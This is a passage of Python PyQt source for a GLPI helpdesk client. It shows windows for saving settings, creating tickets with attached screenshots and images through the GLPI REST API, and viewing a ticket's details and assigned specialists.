alignment=Qt.AlignCenter)\n gridSettings.addWidget(self.settingsCheckboxAutoUpdate, 2, 1, 1, 1, alignment=Qt.AlignCenter)\n gridSettings.addWidget(self.settingsHideAppWindowToTrayAtStartup, 3, 0, 1, 1, alignment=Qt.AlignCenter)\n gridSettings.addWidget(self.settingsCheckboxHideAppWindowToTrayAtStartup, 3, 1, 1, 1, alignment=Qt.AlignCenter)\n gridSettings.addWidget(self.settingsHideAppWindowToTrayOnClose, 4, 0, 1, 1, alignment=Qt.AlignCenter)\n gridSettings.addWidget(self.settingsCheckboxHideAppWindowToTrayOnClose, 4, 1, 1, 1, alignment=Qt.AlignCenter)\n gridSettings.addWidget(self.settingsOkButton, 5, 0, 1, 1, alignment=Qt.AlignRight)\n gridSettings.addWidget(self.settingsExitButton, 5, 1, 1, 1, alignment=Qt.AlignLeft)\n self.setLayout(gridSettings)\n\n self.show()\n\n # center window\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n # save settings func\n def settingsSave(self):\n global appLang\n\n # get new appLang value\n appLangNewValue = self.settingsAppLangSelect.currentText()\n\n # debug\n print(appLangNewValue)\n\n # init config string for new appLang\n config.set(\"main\", \"lang\", appLangNewValue)\n\n # if checkbox AUTOUPDATE is checked - write to config file\n if self.settingsCheckboxAutoUpdate.isChecked():\n # remember in config file\n config.set(\"main\", \"autoupdate\", \"1\")\n\n # if checkbox AUTOUPDATE is UNchecked - write to config file\n else:\n config.set(\"main\", \"autoupdate\", \"0\")\n\n # if checkbox hideAppWindowToTrayAtStartup is checked - write to config file\n if self.settingsCheckboxHideAppWindowToTrayAtStartup.isChecked():\n # remember in config file\n config.set(\"main\", \"hideappwindowtotrayatstartup\", \"1\")\n\n # if checkbox settingsCheckboxHideAppWindowToTrayAtStartup is UNchecked - write to config file\n else:\n config.set(\"main\", \"hideappwindowtotrayatstartup\", \"0\")\n\n # if checkbox hideAppWindowToTrayOnClose is checked - write to config file\n if self.settingsCheckboxHideAppWindowToTrayOnClose.isChecked():\n # remember in config file\n config.set(\"main\", \"hideappwindowtotrayonclose\", \"1\")\n\n # if checkbox settingsCheckboxHideAppWindowToTrayOnClose is UNchecked - write to config file\n else:\n config.set(\"main\", \"hideappwindowtotrayonclose\", \"0\")\n\n # write settings to config file\n with open(configPath, \"w\", encoding=\"utf-8\") as config_file:\n config.write(config_file)\n\n # set new appLang var\n appLang = config.get(\"main\", \"lang\")\n\n # popup win\n QMessageBox.about(self, _(\"Info\"), _(\"Restart application to apply settings\"))\n\n # close settings win\n self.close()\n\n def settingsClose(self):\n self.close()\n\n\n# ADD TICKET WIN\nclass AddTicketWin(QWidget):\n\n # assign global var\n global arrayOfAttachedFiles\n arrayOfAttachedFiles = []\n global arrayOfAttachedScreenshots\n arrayOfAttachedScreenshots = []\n\n def __init__(self):\n super().__init__()\n\n # block parent window while open this window\n self.setWindowModality(Qt.ApplicationModal)\n self.initUI()\n\n def initUI(self):\n\n # null screenshotAddMarker\n # screenshotAddMarker = \"no\"\n\n # create addticket win\n self.setFixedSize(700, 510)\n self.center()\n self.setWindowTitle(appName)\n self.setWindowIcon(QIcon('img\\ico.png'))\n\n # head label create\n self.addTicketLabelHead = QLabel(self)\n self.addTicketLabelHead.setText(_(\"Create new ticket\"))\n\n # head font\n self.addTicketHeadLabelFont = QFont(\"Arial\", 16, QFont.Bold)\n self.addTicketLabelHead.setFont(self.addTicketHeadLabelFont)\n # loginLabel.move(20, 20)\n\n # label customer phone create\n self.addTicketPhoneLabel = QLabel(self)\n self.addTicketPhoneLabel.setFont(QFont(\"Decorative\", 11))\n self.addTicketPhoneLabel.setText(_(\"Contact phone\") + '*')\n\n # customer's phone entry\n self.ticketPhoneEntry = QLineEdit(placeholderText=\"+7-(XXX)-XXX-XX-XX\")\n self.ticketPhoneEntry.setFont(QFont(\"Decorative\", 11))\n self.ticketPhoneEntry.setFixedSize(180, 30)\n #self.ticketPhoneEntry.setFocusPolicy(Qt.StrongFocus)\n\n # label customer RM number\n self.addTicketCompNumberLabel = QLabel(self)\n self.addTicketCompNumberLabel.setFont(QFont(\"Decorative\", 11))\n self.addTicketCompNumberLabel.setText(_(\"Problem computer number\"))\n\n # problem RM number\n self.ticketCompNumberEntry = QLineEdit(placeholderText=\"XXX\")\n self.ticketCompNumberEntry.setFont(QFont(\"Decorative\", 11))\n self.ticketCompNumberEntry.setFixedSize(50, 30)\n\n # ticket body entry create\n self.ticketBodyEntry = QPlainTextEdit(placeholderText=_(\"Describe your problem...\"))\n self.ticketBodyEntry.setFont(QFont(\"Decorative\", 11))\n self.ticketBodyEntry.setFixedSize(650, 250)\n\n ####\n ####\n\n # SCREENSHOT AND PIC ADD ELEMENTS\n\n # add screenshot button\n self.screenshotAddButton = QPushButton(_(\"Attach a screenshot\"), self)\n self.screenshotAddButton.setFixedSize(200, 30)\n self.screenshotAddButton.setToolTip(_(\"To attach a screenshot,\\npress the 'PrintScreen' key on your keyboard,\\nand then the 'Attach a screenshot' button\"))\n self.screenshotAddButton.clicked.connect(self.screenshotAdd)\n\n # label screenshot status\n self.screenshotStatusLabel = QLabel(self)\n self.screenshotStatusLabel.setFont(QFont(\"Decorative\", 8))\n self.screenshotStatusLabel.setText(_(\"Press the 'PrintScreen' key on your keyboard\\n and then the 'Attach a screenshot' button\"))\n\n # add pic button\n self.picAddButton = QPushButton(_(\"Attach an Image\"), self)\n self.picAddButton.setFixedSize(200, 30)\n self.picAddButton.clicked.connect(self.picAdd)\n\n # label pic status\n self.picPathEntry = QLineEdit(self)\n self.picPathEntry.setFixedSize(300, 30)\n self.picPathEntry.setDisabled(True)\n self.picPathEntry.setText(_(\"Click the 'Attach an Image' button\"))\n\n ####\n ####\n\n # add ticket button\n self.ticketAddButton = QPushButton(_(\"Create Ticket\"), self)\n self.ticketAddButton.setFixedSize(250, 50)\n self.ticketAddButton.clicked.connect(self.addTicket)\n\n grid = QGridLayout()\n grid.addWidget(self.addTicketLabelHead, 0, 0, 1, 2, alignment=Qt.AlignTop | Qt.AlignCenter)\n\n grid.addWidget(self.addTicketPhoneLabel, 2, 0, 1, 1, alignment=Qt.AlignRight)\n grid.addWidget(self.ticketPhoneEntry, 2, 1, 1, 1, alignment=Qt.AlignLeft)\n\n grid.addWidget(self.addTicketCompNumberLabel, 3, 0, 1, 1, alignment=Qt.AlignRight)\n grid.addWidget(self.ticketCompNumberEntry, 3, 1, 1, 1, alignment=Qt.AlignLeft)\n\n grid.addWidget(self.ticketBodyEntry, 4, 0, 1, 2, alignment=Qt.AlignCenter)\n\n ###\n ###\n\n # SCREENSHOT AND PIC ADD ELEMENTS LOCATION\n\n grid.addWidget(self.screenshotAddButton, 5, 0, 1, 1, alignment=Qt.AlignCenter)\n grid.addWidget(self.screenshotStatusLabel, 5, 1, 1, 1, alignment=Qt.AlignCenter)\n\n grid.addWidget(self.picAddButton, 6, 0, 1, 1, alignment=Qt.AlignCenter)\n grid.addWidget(self.picPathEntry, 6, 1, 1, 1, alignment=Qt.AlignLeft)\n\n ###\n ###\n\n grid.addWidget(self.ticketAddButton, 7, 0, 1, 2, alignment=Qt.AlignCenter)\n\n self.setLayout(grid)\n\n # set focus at phone text entry\n self.ticketPhoneEntry.setFocus()\n\n self.show()\n\n # centering window\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n ####\n ####\n\n # SCREENSHOT AND PIC ADD ELEMENTS\n\n # add screenshot to ticket\n def screenshotAdd(self):\n\n global screenshotPath\n\n # null array before add screenshot to it\n del arrayOfAttachedScreenshots[:]\n\n # create dir \"tmp\", if not exist\n tmpDirPath = \"./tmp\"\n\n if os.path.exists(tmpDirPath):\n # print(\"tmpDirPath существует!\")\n\n if os.path.isfile(tmpDirPath):\n # print(\"tmpDirPath is NOT a directory! Remove file tmpDirPath\")\n os.remove(tmpDirPath, dir_fd=None)\n\n # print(\"Создаем директорию tmpDirPath\")\n os.mkdir(tmpDirPath, mode=0o777, dir_fd=None)\n else:\n # print(\"tmpDirPath DOESN'T exist! Create directory tmpDirPath\")\n os.mkdir(tmpDirPath, mode=0o777, dir_fd=None)\n\n # generating random suffix for screenshot name\n screenshotRandomSuffix = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(8)])\n\n # assign screenshotPath\n screenshotPath = tmpDirPath + \"/screenshot-\" + screenshotRandomSuffix + \".png\"\n\n # save screenshot to disk\n try:\n # assign screenshot\n screenshot = ImageGrab.grabclipboard()\n\n # screenshot save to disk\n screenshot.save(screenshotPath, 'PNG')\n\n # set color to label\n self.screenshotStatusLabel.setStyleSheet('color: green')\n\n arrayOfAttachedScreenshots.append(screenshotPath)\n\n # set label text\n self.screenshotStatusLabel.setText(_(\"Screenshot attached to the ticket!\"))\n\n except Exception as e:\n print(\"Error attaching a screenshot\")\n QMessageBox.about(self, _(\"Error\"), _(\"Error attaching a screenshot.\\nTo attach a screenshot, press the 'PrintScreen' key on your keyboard and then the 'Attach a screenshot' button'\"))\n logging.error('Error at %s', 'division', exc_info=e)\n pass\n\n # add screenshot to ticket func\n def picAdd(self):\n\n global picPath\n\n # null array before add file to it\n del arrayOfAttachedFiles[:]\n\n # assign picPath\n picPath = QFileDialog.getOpenFileName()[0]\n\n # debug\n #print(picPath)\n\n arrayOfAttachedFiles.append(picPath)\n\n # set label picPathEntry\n self.picPathEntry.setText(picPath)\n\n ####\n ####\n\n # add ticket func\n def addTicket(self):\n\n # text of ticket body entry - get vars from entrys\n ticketBody = self.ticketBodyEntry.toPlainText()\n ticketTopic = (ticketBody[:40] + '...') if len(ticketBody) > 40 else ticketBody\n ticketPhone = self.ticketPhoneEntry.text()\n ticketCompNumber = self.ticketCompNumberEntry.text()\n\n # if ticketCompNumber is null\n if not ticketCompNumber:\n ticketCompNumber = \"---\"\n\n # ticketPhone = self.ticketPhoneEntry.toPlainText()\n # ticketCompNumber = self.ticketCompNumberEntry.toPlainText()\n\n # debug\n print(ticketPhone)\n print(ticketCompNumber)\n\n # if ticket body is empty\n #if (ticketBody == \"\") or (ticketPhone == \"\") or (ticketCompNumber == \"\"):\n if (ticketBody == \"\") or (ticketPhone == \"\"):\n QMessageBox.about(self, _(\"Error\"), _(\"Please fill in all required fields\"))\n else:\n\n # debug\n print(\"arrayOfAttachedScreenshots:\")\n for x in range(len(arrayOfAttachedScreenshots)):\n print(arrayOfAttachedScreenshots[x])\n print(ntpath.basename(arrayOfAttachedScreenshots[x]))\n\n print(len(arrayOfAttachedScreenshots))\n\n # debug\n print(\"arrayOfAttachedFiles:\")\n\n #debug\n print(len(arrayOfAttachedFiles))\n for x in range(len(arrayOfAttachedFiles)):\n print(arrayOfAttachedFiles[x])\n print(ntpath.basename(arrayOfAttachedFiles[x]))\n\n # post headers\n headersPost = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n # post json data - ticket body\n data = {\"input\": {\"name\": ticketTopic, \"content\": ticketBody + \"\\n\\n\" + \"---\" +\n \"\\n\" + \"IP: \" + clientIp +\n \"\\n\" + _(\"Computer name\") + \": \" + clientHostname +\n \"\\n\" + _(\"Problem computer number\") + \": \" + ticketCompNumber +\n \"\\n\" + _(\"Customer phone\") + \": \" + ticketPhone}}\n ###data = {\"input\": {\"entities_id\": \"'\"${entityId}\"'\",\"name\": \"'\"${ticketName}\"'\",\"content\": \"'\"${ticketMessage}\"'\",\"status\": \"2\",\"priority\": \"'\"${eventSeverity}\"'\"}}\n\n # create ticket\n requestAddTicket = requests.post(glpiApiBaseUrl + '/Ticket/', data=json.dumps(data), headers=headersPost)\n\n # get response on request of add ticket\n responseAddTicket = requestAddTicket.json()\n\n # debug\n print(\"responseAddTicket:\")\n print(responseAddTicket)\n\n # if response is correct json\n if type(responseAddTicket).__name__ == 'dict':\n print(\"responseAddTicket is correct. Get ticket ID\")\n\n # get id of new ticket\n ticketNewId = str(responseAddTicket['id'])\n\n # debug\n print(ticketNewId)\n\n\n ###\n # ADD REQUESTER TO NEW TICKET (GLPI 10)\n\n # хидеры запроса POST тикета\n headersPost = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n data = {\"input\": {\"tickets_id\": ticketNewId, \"users_id\": userId}}\n\n requestTicketNewRequesterAdd = requests.post(glpiApiBaseUrl + '/Ticket/' + ticketNewId +\n '/Ticket_User/', data=json.dumps(data), headers=headersPost)\n\n # debug\n print(requestTicketNewRequesterAdd)\n\n #\n ###\n\n\n #####\n #####\n # ADD CLIENT'S COMP FROM GLPI INV TO TICKET\n\n try:\n # request headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n # search client's comp id from inv by name (client's hostname)\n responseCompsGet = requests.get(\n glpiApiBaseUrl + '/search/Computer?is_deleted=0&as_map=0&criteria[0][field]=1&criteria[0][searchtype]=contains&criteria[0][value]=' + clientHostname + '&search=Search&itemtype=Computer&start=0',\n headers=headersGet)\n\n # debug\n print(\"responseCompsGet: \" + str(responseCompsGet))\n\n # comp inv json\n compsListJson = responseCompsGet.json()\n\n # debug\n print(\"compsListJson: \" + str(compsListJson))\n\n # debug\n print(\"type(compsListJson): \" + str(type(compsListJson)))\n\n # if response is correct json and key 'data' in dict exists\n if type(compsListJson).__name__ == 'dict' and \"data\" in compsListJson:\n print(\"compsListJson is correct. Get computer ID\")\n\n compsList = compsListJson['data']\n\n # # comp properties\n for compsJson in range(len(compsList)):\n comp = (compsList[compsJson])\n\n compInvId = comp['2']\n\n # debug\n print('compInvId: ' + str(compInvId))\n\n\n # add comp (by its id in inv) to ticket\n\n # post headers\n headersPost = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n # post json data - add comp to ticket\n data = {\"input\": {\"items_id\": compInvId,\"itemtype\": \"Computer\", \"tickets_id\": ticketNewId}}\n\n # add comp to ticket\n requestAddCompToTicket = requests.post(glpiApiBaseUrl + '/Ticket/' + ticketNewId + '/Item_ticket/',\n data=json.dumps(data), headers=headersPost)\n\n # get response on request of add comp to ticket\n responseAddCompToTicket = requestAddCompToTicket.json()\n\n # debug\n print(responseAddCompToTicket)\n\n # pass if error\n except Exception as e:\n logging.error('Error at %s', 'division', exc_info=e)\n pass\n\n #####\n #####\n\n\n # UPLOAD ATTACHED FILE\n\n # if array of attached files is not empty, then upload files\n if len(arrayOfAttachedFiles) > 0:\n\n for fileForAttach in range(len(arrayOfAttachedFiles)):\n\n # file name\n fileBaseName = ntpath.basename(arrayOfAttachedFiles[fileForAttach])\n\n if fileBaseName:\n\n # debug\n print('fileBaseName: ' + fileBaseName)\n\n # file name with path\n fileNameWithPath = arrayOfAttachedFiles[fileForAttach]\n\n # debug\n print('fileNameWithPath: ' + fileNameWithPath)\n\n headersPost = {\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n multipart_form_data = {\n 'uploadManifest': (None, '{\"input\": {\"name\": \"fileAttached.png\", \"_filename\": [\"fileAttached.png\"]}}'),\n 'filename[0]': (fileBaseName, open(fileNameWithPath, 'rb')),\n }\n\n # screenshot add request\n responseDocumentUpload = requests.post(glpiApiBaseUrl + '/Document/', headers=headersPost,\n files=multipart_form_data)\n\n\n\n # get upload result\n documentUploadJson = responseDocumentUpload.json()\n\n # debug\n print(documentUploadJson)\n\n # get file id after upload\n fileAttachedId = json.dumps(documentUploadJson['id'])\n\n # debug\n print(type(fileAttachedId))\n print(fileAttachedId)\n\n # ATTACH UPLOADED FILE TO NEW CREATED TICKET\n\n # post headers\n headersPost = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n # post json data - ticket body\n data = {\"input\": {\"itemtype\": \"Ticket\", \"items_id\": ticketNewId, \"tickets_id\": ticketNewId, \"documents_id\": fileAttachedId}}\n\n # create ticket\n requestAddFileToTicket = requests.post(glpiApiBaseUrl + '/Document_Item/', data=json.dumps(data), headers=headersPost)\n\n # get response on request of add ticket\n responseAddFileToTicket = requestAddFileToTicket.json()\n\n # debug\n print(responseAddFileToTicket)\n\n # null arrays with file path\n del arrayOfAttachedFiles[:]\n\n\n # UPLOAD ATTACHED SCREENSHOT\n\n # if array of attached screenshots is not empty, then upload screenshot\n if len(arrayOfAttachedScreenshots) > 0:\n\n for screenshotForAttach in range(len(arrayOfAttachedScreenshots)):\n\n # screenshot name\n screenshotBaseName = ntpath.basename(arrayOfAttachedScreenshots[screenshotForAttach])\n\n # screenshot name with path\n screenshotNameWithPath = arrayOfAttachedScreenshots[screenshotForAttach]\n\n headersPost = {\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n multipart_form_data = {\n 'uploadManifest': (\n None, '{\"input\": {\"name\": \"screenshotAttached.png\", \"_filename\": [\"screenshotAttached.png\"]}}'),\n 'filename[0]': (screenshotBaseName, open(screenshotNameWithPath, 'rb')),\n }\n\n # screenshot add request\n responseDocumentUpload = requests.post(glpiApiBaseUrl + '/Document/',\n headers=headersPost,\n files=multipart_form_data)\n\n # get upload result\n documentUploadJson = responseDocumentUpload.json()\n\n # debug\n print(documentUploadJson)\n\n # get screenshot file id after upload\n screenshotAttachedId = json.dumps(documentUploadJson['id'])\n\n # debug\n print(type(screenshotAttachedId))\n print(screenshotAttachedId)\n\n # ATTACH UPLOADED SCREENSHOT TO NEW CREATED TICKET\n\n # post headers\n headersPost = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n # post json data - ticket body\n data = {\n \"input\": {\"itemtype\": \"Ticket\", \"items_id\": ticketNewId, \"tickets_id\": ticketNewId,\n \"documents_id\": screenshotAttachedId}}\n\n # create ticket\n requestAddScreenshotToTicket = requests.post(glpiApiBaseUrl + '/Document_Item/',\n data=json.dumps(data), headers=headersPost)\n\n # get response on request of add ticket\n responseAddScreenshotToTicket = requestAddScreenshotToTicket.json()\n\n # debug\n print(responseAddScreenshotToTicket)\n\n # null arrays with file path\n del arrayOfAttachedScreenshots[:]\n\n # hide ticketwin, show popup\n self.close()\n\n #screenshotAddMarker = \"no\"\n\n # show message with ticket id\n QMessageBox.about(self, _(\"Ticket accepted\"), _(\"Your ticket has been accepted under the number\") +\n \": \" + ticketNewId)\n\n #MainWin().getTicketsList()\n #destroy = MainWin()\n\n\n# SHOW TICKET WIN\nclass ShowTicketWin(QWidget):\n def __init__(self):\n super().__init__()\n\n # block parent window while open this window\n self.setWindowModality(Qt.ApplicationModal)\n self.initUI()\n\n def initUI(self):\n\n # debug\n print(\"TicketID: \" + str(myTicketIdInTableOfTickets))\n\n # create showticket win\n self.setMinimumSize(850, 650)\n self.resize(850, 650)\n self.center()\n self.setWindowTitle(appName)\n self.setWindowIcon(QIcon('img\\ico.png'))\n\n # showticket label create\n self.showTicketLabelHead = QLabel(self)\n self.showTicketLabelHead.setText(_(\"Ticket\") + ' ' + myTicketIdInTableOfTickets)\n self.showTicketHeadLabelFont = QFont(\"Arial\", 16, QFont.Bold)\n self.showTicketLabelHead.setFont(self.showTicketHeadLabelFont)\n\n # showticket solutions label create\n self.showTicketSolutionsLabelHead = QLabel(self)\n self.showTicketSolutionsLabelHead.setText(_(\"Solution\"))\n self.showTicketSolutionsLabelHeadFont = QFont(\"Arial\", 16, QFont.Bold)\n self.showTicketSolutionsLabelHead.setFont(self.showTicketSolutionsLabelHeadFont)\n\n # showticket followups label create\n self.showTicketFollowupsLabelHead = QLabel(self)\n self.showTicketFollowupsLabelHead.setText(_(\"Comments\"))\n self.showTicketFollowupsLabelHeadFont = QFont(\"Arial\", 16, QFont.Bold)\n self.showTicketFollowupsLabelHead.setFont(self.showTicketFollowupsLabelHeadFont)\n\n #################\n\n # TABLES IN TICKET\n\n # GET TICKET DATA (TABLE WITH TICKET NAME)\n\n # хидеры запроса тикета\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n responseTicketGet = requests.get(glpiApiBaseUrl + '/Ticket/' + myTicketIdInTableOfTickets, headers=headersGet)\n\n # get ticket data json\n ticketDataJson = responseTicketGet.json()\n\n # debug\n print(type(ticketDataJson))\n print(ticketDataJson)\n\n myTicketAuthor = (userFirstname + ' ' + userRealname)\n myTicketCreateDate = ticketDataJson['date']\n myTicketContent = ticketDataJson['content']\n myTicketStatusId = ticketDataJson['status']\n\n # convert ticket status from ID to HUMAN READABLE\n if myTicketStatusId == 1:\n myTicketStatus = _(\"New\")\n elif myTicketStatusId == 2:\n myTicketStatus = _(\"In progress (assigned)\")\n elif myTicketStatusId == 3:\n myTicketStatus = _(\"In progress (planned)\")\n elif myTicketStatusId == 4:\n myTicketStatus = _(\"Awaiting decision\")\n elif myTicketStatusId == 5:\n myTicketStatus = _(\"Solved\")\n elif myTicketStatusId == 6:\n myTicketStatus = _(\"Closed\")\n\n # debug\n #print(\"TICKET STATUS IN TICKET: \" + str(myTicketStatusId))\n\n # draw table\n tableTicketData = QTableWidget(self) # create table\n tableTicketData.setColumnCount(4) # set number of columns\n tableTicketData.setRowCount(1) # and one string in table\n tableTicketData.setEditTriggers(QTableWidget.NoEditTriggers) # disable edit cells\n #tableTicketData.setSelectionBehavior(QTableWidget.SelectRows) # select full row instead of one cell\n tableTicketData.setVerticalScrollMode(QAbstractItemView.ScrollPerPixel) # smooth scroll\n tableTicketData.verticalHeader().setVisible(False) # hide vertical headers (number of row)\n #tableTicketData.verticalHeader().setSectionResizeMode(QHeaderView.Stretch) # stretch rows in vertical to content with WORD WRAP\n tableTicketData.verticalHeader().setSectionResizeMode(QHeaderView.ResizeToContents) # resize rows in vertical to content with WORD WRAP\n\n tableTicketData.setStyleSheet(\"\"\"\n QTableWidget::item {\n selection-color: black;\n selection-background-color: lightblue;\n padding: 5px;\n border: none;\n }\n \"\"\")\n\n # headers of table style\n tableTicketData.horizontalHeader().setStyleSheet(\"\"\"\n QHeaderView::section {padding: 8px; background-color: lightgrey; border: 1px; }\n \"\"\")\n\n header = tableTicketData.horizontalHeader()\n\n # stretch last column\n #header.setStretchLastSection(True)\n\n # resize width of ALL columns to content\n #header.setSectionResizeMode(QHeaderView.ResizeToContents)\n\n # headers of table\n itemTableTicketDataHeaderAuthor = QTableWidgetItem(_(\"Author\"))\n # itemTableHeaderId.setBackground(QColor(255, 255, 0))\n itemTableTicketDataHeaderAuthor.setToolTip(_(\"Author\"))\n itemTableTicketDataHeaderAuthor.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableTicketData.setHorizontalHeaderItem(0, itemTableTicketDataHeaderAuthor)\n header.setSectionResizeMode(0, QHeaderView.ResizeToContents) # resize column to contents\n\n itemTableTicketDataHeaderACreateDate = QTableWidgetItem(_(\"Date\"))\n itemTableTicketDataHeaderACreateDate.setToolTip(_(\"Creation date\"))\n itemTableTicketDataHeaderACreateDate.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableTicketData.setHorizontalHeaderItem(1, itemTableTicketDataHeaderACreateDate)\n header.setSectionResizeMode(1, QHeaderView.ResizeToContents) # resize column to contents\n\n itemTableTicketDataHeaderContent = QTableWidgetItem(_(\"Ticket text\"))\n itemTableTicketDataHeaderContent.setToolTip(_(\"Ticket text\"))\n itemTableTicketDataHeaderContent.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableTicketData.setHorizontalHeaderItem(2, itemTableTicketDataHeaderContent)\n header.setSectionResizeMode(2, QHeaderView.Stretch) # stretch column\n\n itemTableTicketStatusHeaderContent = QTableWidgetItem(_(\"Status\"))\n itemTableTicketStatusHeaderContent.setToolTip(_(\"Ticket status\"))\n itemTableTicketStatusHeaderContent.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableTicketData.setHorizontalHeaderItem(3, itemTableTicketStatusHeaderContent)\n header.setSectionResizeMode(3, QHeaderView.ResizeToContents) # resize column to contents\n\n # fill tableTicketData\n tableTicketData.setItem(0, 0, QTableWidgetItem(myTicketAuthor))\n tableTicketData.setItem(0, 1, QTableWidgetItem(myTicketCreateDate))\n # markdownify: getting rid of a HTML-markdown in a content of the ticket\n tableTicketData.setItem(0, 2, QTableWidgetItem(markdownify.markdownify(markdownify.markdownify(myTicketContent))))\n tableTicketData.setItem(0, 3, QTableWidgetItem(myTicketStatus))\n\n # set alignment for text in ALL columns\n for columnNumber in range(4):\n tableTicketData.item(0, columnNumber).setTextAlignment(Qt.AlignLeft | Qt.AlignTop)\n\n #tableTicketData.item(0, 0).setBackground(QColor(211, 211, 211))\n\n ######\n ### GET SIGNED SPECIALIST START\n\n # хидеры запроса тикета\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n responseTicketGet = requests.get(glpiApiBaseUrl + '/Ticket/' + myTicketIdInTableOfTickets + '/Ticket_User', headers=headersGet)\n\n # get users in ticket data json\n ticketDataUsersJson = responseTicketGet.json()\n\n # debug\n print(type(ticketDataUsersJson))\n print(ticketDataUsersJson)\n\n ticketUsersCount=len(ticketDataUsersJson)\n\n arrayTicketUsersAssignedSpecsId = []\n\n # get users in ticket\n for ticketUserNumber in range(ticketUsersCount):\n ticketUser = (ticketDataUsersJson[ticketUserNumber])\n print(ticketUser)\n\n # parse json data\n ticketUserId = ticketUser['users_id']\n ticketUserType = ticketUser['type']\n\n # debug\n print(\"Ticket user ID: \" + str(ticketUserId))\n\n # if type of user is ASSIGNED SPEC\n if ticketUserType == 2:\n arrayTicketUsersAssignedSpecsId.append(ticketUserId)\n\n print(\"Array users assigned ID: \" + str(arrayTicketUsersAssignedSpecsId))\n\n\n # if assisned spec in ticket exist\n if len(arrayTicketUsersAssignedSpecsId) >= 0:\n\n assignedSpecsCount = len(arrayTicketUsersAssignedSpecsId)\n\n # draw table\n ticketAssignedSpecsRowCount = assignedSpecsCount\n\n tableAssignedSpecs = QTableWidget(self) # create table\n tableAssignedSpecs.setColumnCount(1) # set number of columns\n tableAssignedSpecs.setRowCount(ticketAssignedSpecsRowCount) # and one string in table\n tableAssignedSpecs.setEditTriggers(QTableWidget.NoEditTriggers) # disable edit cells\n #tableSolutions.setSelectionBehavior(QTableWidget.SelectRows) # select full row instead of one cell\n tableAssignedSpecs.setVerticalScrollMode(QAbstractItemView.ScrollPerPixel) # smooth scroll\n tableAssignedSpecs.verticalHeader().setVisible(False) # hide vertical headers (number of row)\n tableAssignedSpecs.verticalHeader().setSectionResizeMode(QHeaderView.ResizeToContents) # resize rows in vertical to content with WORD WRAP\n\n tableAssignedSpecs.setStyleSheet(\"\"\"\n QTableWidget::item {\n selection-color: black;\n selection-background-color: lightblue;\n padding: 2px;\n border: none;\n }\n \"\"\")\n\n # headers of table style\n tableAssignedSpecs.horizontalHeader().setStyleSheet(\"\"\"\n QHeaderView::section {padding: 8px; background-color: lightgrey; border: 1px; }\n \"\"\")\n\n # SORT\n # table.setSortingEnabled(True)\n\n headerAssignedSpecs = tableAssignedSpecs.horizontalHeader()\n\n # stretch last column\n headerAssignedSpecs.setStretchLastSection(True)\n\n # resize width of column to content\n headerAssignedSpecs.setSectionResizeMode(QHeaderView.ResizeToContents)\n\n # headers of table\n itemTicketAssignedSpecsTableHeaderAuthor = QTableWidgetItem(_(\"Specialist\"))\n itemTicketAssignedSpecsTableHeaderAuthor.setToolTip(_(\"Assigned specialist\"))\n itemTicketAssignedSpecsTableHeaderAuthor.setFont(QFont(\"Arial\", 10, QFont.Bold))\n tableAssignedSpecs.setHorizontalHeaderItem(0, itemTicketAssignedSpecsTableHeaderAuthor)\n\n # get solution data\n for ticketAssignedSpecNumber in range(assignedSpecsCount):\n\n # GET Name of User-Author of Solution by userID WITH ADMINSESSIONTOKEN\n\n # request headers\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n ticketAssignedSpecId = arrayTicketUsersAssignedSpecsId[ticketAssignedSpecNumber]\n\n responseAssignedSpec = requests.get(\n glpiApiBaseUrl + '/User/' + str(ticketAssignedSpecId),\n headers=headersGet)\n\n # debug\n print(responseAssignedSpec)\n\n # pycharm 2018 x32 python 3.4\n responseAssignedSpecJson = responseAssignedSpec.json()\n\n # debug\n print(responseAssignedSpecJson)\n print(type(responseAssignedSpecJson))\n\n # get spec name (LOGIN)\n try:\n ticketAssignedSpecLogin = responseAssignedSpecJson['name']\n except Exception as e:\n logging.error('Error at %s', 'division', exc_info=e)\n ticketAssignedSpecLogin = \"\"\n pass\n\n # get spec names\n ticketAssignedSpecFirstname = responseAssignedSpecJson['firstname']\n ticketAssignedSpecSecondname = responseAssignedSpecJson['realname']\n\n ticketAssignedSpecFullName = (str(ticketAssignedSpecFirstname) + ' ' + str(ticketAssignedSpecSecondname))\n\n # if user's first name or second name exist - fill solution with it\n if ticketAssignedSpecFirstname or ticketAssignedSpecSecondname:\n ticketAssignedSpecFullName = (str(ticketAssignedSpecFirstname) + ' ' + str(ticketAssignedSpecSecondname))\n else:\n # else fill solution with user login\n ticketAssignedSpecFullName = ticketAssignedSpecLogin\n\n # fill table\n tableAssignedSpecs.setItem(ticketAssignedSpecNumber, 0, QTableWidgetItem(str(ticketAssignedSpecFullName)))\n\n # sort table by date (1 column) with ascend\n tableAssignedSpecs.sortItems(1, Qt.AscendingOrder)\n\n ### GET SIGNED SPECIALIST END\n ######\n\n\n ######\n ### GET SIGNED GROUP SPECIALIST START\n\n # хидеры запроса тикета\n headersGet = {'Content-Type': 'application/json',\n 'Session-Token': sessionToken,\n 'App-Token': appToken,\n }\n\n responseTicketGet = requests.get(glpiApiBaseUrl + '/Ticket/' + myTicketIdInTableOfTickets + '/Group_Ticket', 